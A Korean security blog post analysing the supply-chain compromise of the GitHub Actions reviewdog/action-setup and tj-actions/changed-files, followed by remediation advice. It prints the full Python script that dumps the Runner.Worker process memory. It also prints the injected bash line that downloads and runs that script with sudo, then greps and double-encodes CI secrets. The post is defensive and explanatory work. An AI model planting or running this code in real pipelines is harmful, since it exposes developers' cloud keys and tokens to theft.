1. tj-actions/changed-files [1]
- 리포지토리에서 파일 변경 사항을 추적(감지)하는 용도로 활용
- 약 23,000개 이상의 리포지토리에서 사용중
2. reviewdog/action-setup [2][3]
- 코드 리뷰 및 정적 분석을 자동화하는 데 사용
3. 주요 내용
- 공격자는 GitHub Action reviewdog/action-setup@v1를 감염시킨 후 이를 통해 tj-actions/changed-files를 침투 [4][5][6]
> CI/CD 러너(Runner) 메모리 데이터를 덤프해 환경 변수와 비밀 키를 로그에 기록하도록 조작
> 이로 인해 AWS 액세스 키, 깃허브 개인 액세스 토큰(PAT), NPM 토큰, 개인 RSA 키 등이 외부로 노출될 수 있음
- 공격자는 reviewdog/action-setup@v1의 install.sh에 Based64로 인코딩된 Python 코드를 삽입(Hardcoded) [8]
> 해당 코드는 Runner.Worker 프로세스의 메모리에서 읽기 가능한 영역을 추출하여 덤프하는 코드
> CVE-2025-30154 (CVSS: 8.6)으로 지정 [9]
#!/usr/bin/env python3
# based on https://davidebove.com/blog/?p=1620
import sys
import os
import re
# 실행 중인 프로세스 중 'Runner.Worker' 문자열이 포함된 프로세스의 PID를 찾아 반환
def get_pid():
# /proc 디렉터리에서 현재 실행 중인 모든 프로세스 PID 목록 가져오기
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
try:
# 각 프로세스의 cmdline (실행 명령어) 확인
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
if b'Runner.Worker' in cmdline_f.read(): # Runner.Worker가 포함된 프로세스인지 확인
return pid
except IOError:
continue
# 해당 프로세스가 없으면 예외 발생
raise Exception('Can not get pid of Runner.Worker')
if __name__ == "__main__":
# Runner.Worker 프로세스의 PID 찾기
pid = get_pid()
print(pid)
# 해당 프로세스의 maps과 mem 파일 경로 지정
map_path = f"/proc/{pid}/maps"
mem_path = f"/proc/{pid}/mem"
# map 파일 및 mem 파일 읽기
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
# 메모리 매핑된 각 영역을 한 줄씩 읽음
for line in map_f.readlines():
# 정규 표현식으로 메모리 시작-끝 주소와 권한 정보 추출
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
# 읽기 권한이 있는 영역만 대상
if m and m.group(3) == 'r':
start = int(m.group(1), 16) # 시작 주소
end = int(m.group(2), 16) # 끝 주소
# 64비트 환경에서 파이썬 int로 처리할 수 없는 주소 건너뛰기
if start > sys.maxsize:
continue
# 메모리 파일 포인터를 해당 영역의 시작 위치로 이동
mem_f.seek(start)
try:
# 메모리 내용을 읽고 표준 출력으로 내보내기 (바이너리로)
chunk = mem_f.read(end - start)
sys.stdout.buffer.write(chunk)
except OSError:
# 일부 영역은 읽을 수 없을 수 있음 → 무시하고 넘어감
continue
- 공격자는 덤프로 탈취한 자격증명을 도용해 tj-actions/changed-files를 침해한 것으로 판단됨
> 공격자는 Based64로 인코딩된 페이로드를 index.js에 삽입
> 해당 코드는 특정 URL에서 Python 코드를 다운 받아 실행한 후 Based64를 두 번 적용해 출력하는 코드
> CVE-2025-30066 (CVSS: 8.6)으로 지정 [10]
# 현재 OS 타입이 리눅스인 경우
if [[ "$OSTYPE" == "linux-gnu" ]]; then
# 특정 URL에서 memdump.py 다운로드 및 실행
# sudo 권한으로 실행
# 널 문자 제거 (tr -d '\0'), 특정 패턴 출력 (grep ~), 중복 제거 (sort -u), Based64 인코딩 두 번 적용 (base64 -w 0)
# 인코딩된 값 출력
B64_BLOB=`curl -sSf hxxps://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
echo $B64_BLOB
else
exit 0
fi
- 특정 URL의 Python 코드는 Runner.Worker 프로세스의 메모리에서 읽기 가능한 영역을 추출하여 출력
#!/usr/bin/env python3
import sys
import os
import re
# 실행 중인 프로세스 중 'Runner.Worker' 문자열이 포함된 프로세스의 PID를 찾아 반환하는 함수
def get_pid():
# /proc 디렉터리에서 현재 실행 중인 모든 프로세스 PID 목록 가져오기
pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]
for pid in pids:
try:
# 각 프로세스의 cmdline (실행 명령어) 확인
with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
# Runner.Worker가 포함된 프로세스인지 확인
if b'Runner.Worker' in cmdline_f.read():
# 찾으면 해당 PID 반환
return pid
except IOError:
# 접근 불가한 PID는 무시
continue
# 찾지 못할 경우 예외 발생
raise Exception('Can not get pid of Runner.Worker')
if __name__ == "__main__":
pid = get_pid() # 대상 프로세스 PID 획득
print(pid) # 표준 출력으로 PID 출력 (bash 스크립트에서 사용)
map_path = f"/proc/{pid}/maps" # 메모리 매핑 정보 파일
mem_path = f"/proc/{pid}/mem" # 실제 메모리 접근 파일
with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
for line in map_f.readlines(): # 매핑된 메모리 영역 하나씩 확인
m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line) # 시작-끝 주소, 권한 파싱
if m and m.group(3) == 'r': # 읽기 권한(r)이 있는 영역만
start = int(m.group(1), 16)
end = int(m.group(2), 16)
if start > sys.maxsize: # 64비트 환경에서 처리 불가한 주소 방지
continue
mem_f.seek(start) # 메모리 영역 시작점으로 이동
try:
chunk = mem_f.read(end - start) # 해당 메모리 영역 읽기
sys.stdout.buffer.write(chunk) # 메모리 내용 바이너리로 출력 (bash에서 후속 처리)
except OSError:
# 일부 보호된 메모리 영역 접근 불가 → 무시
continue
3. 대응방안
① Action 업데이트 적용 (or 대체 도구로 교체 or 사용 중단)
- tj-actions/changed-files의 경우 46.0.1 버전에서 취약점을 해결 [11]
> 대체 도구 사용 : tj-actions/changed-files 액션을 step-security/changed-files@v45 로 교체
> 또는 사용 중단
② Action 워크플로 실행 로그 감사
- 해당 기간 동안 Runner.Worker 관련 이상 활동 및 tj-actions/changed-files 또는 reviewdog/action-setup@v1 기록 확인
> “🐶 Preparing environment ...” 또는 [사진 5]의 문자열이 확인될 경우 악성코드가 실행된 것
③ 관련된 비밀 정보 모두 변경
- GitHub 개인 액세스 토큰 (PAT), AWS 키, NPM 토큰, RSA 키 등 모든 종류의 비밀 키 교체
④ GitHub Actions 버전 고정 : 커밋 해시로 고정
- 특정 커밋 해시를 사용해 버전 고정
⑤ GitHub 허용 목록 기능 활용
- 신뢰할 수 있는 GitHub Actions만 실행하도록 허용 목록 구성
⑥ Reviewdog 의존 Action 점검
- reviewdog/action-setup이 다른 reviewdog Action의 구성요소로 포함되어 있어 해당 Action들에 대한 확인 필요
> reviewdog/action-shellcheck
> reviewdog/action-composite-template
> reviewdog/action-staticcheck
> reviewdog/action-ast-grep
> reviewdog/action-typos
⑦ 관련 로그 삭제 또는 환경 초기화
- 워크플로우 실행 로그 등 관련 로그를 삭제하거나 초기 환경으로 초기화
4. 참고
[1] https://github.com/tj-actions/changed-files
[2] https://github.com/reviewdog/action-setup
[3] https://github.com/reviewdog/reviewdog
[4] https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised
[5] https://sysdig.com/blog/detecting-and-mitigating-the-tj-actions-changed-files-supply-chain-attack-cve-2025-30066/
[6] https://www.wiz.io/blog/new-github-action-supply-chain-attack-reviewdog-action-setup
[7] https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066
[8] https://github.com/reviewdog/action-setup/commit/f0d342
[9] https://nvd.nist.gov/vuln/detail/CVE-2025-30154
[10] https://nvd.nist.gov/vuln/detail/cve-2025-30066
[11] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71685&menuNo=205020
[12] https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-github-action-cve-2025-30066
[13] https://www.dailysecu.com/news/articleView.html?idxno=164623
[14] https://news.hada.io/topic?id=19770
'취약점 > Supply-Chain Attack' 카테고리의 다른 글
AWS ‘whoAMI’ 네임 혼동 공격 (0) | 2025.03.02 |
---|---|
IPany VPN 공급망 공격 (0) | 2025.01.26 |
Apple CocoaPods 공급망 공격 (0) | 2024.07.03 |
XZ Utils 라이브러리 백도어 (CVE-2024-3094) (0) | 2024.04.01 |
리포재킹(Repojacking) 공격 (0) | 2023.09.14 |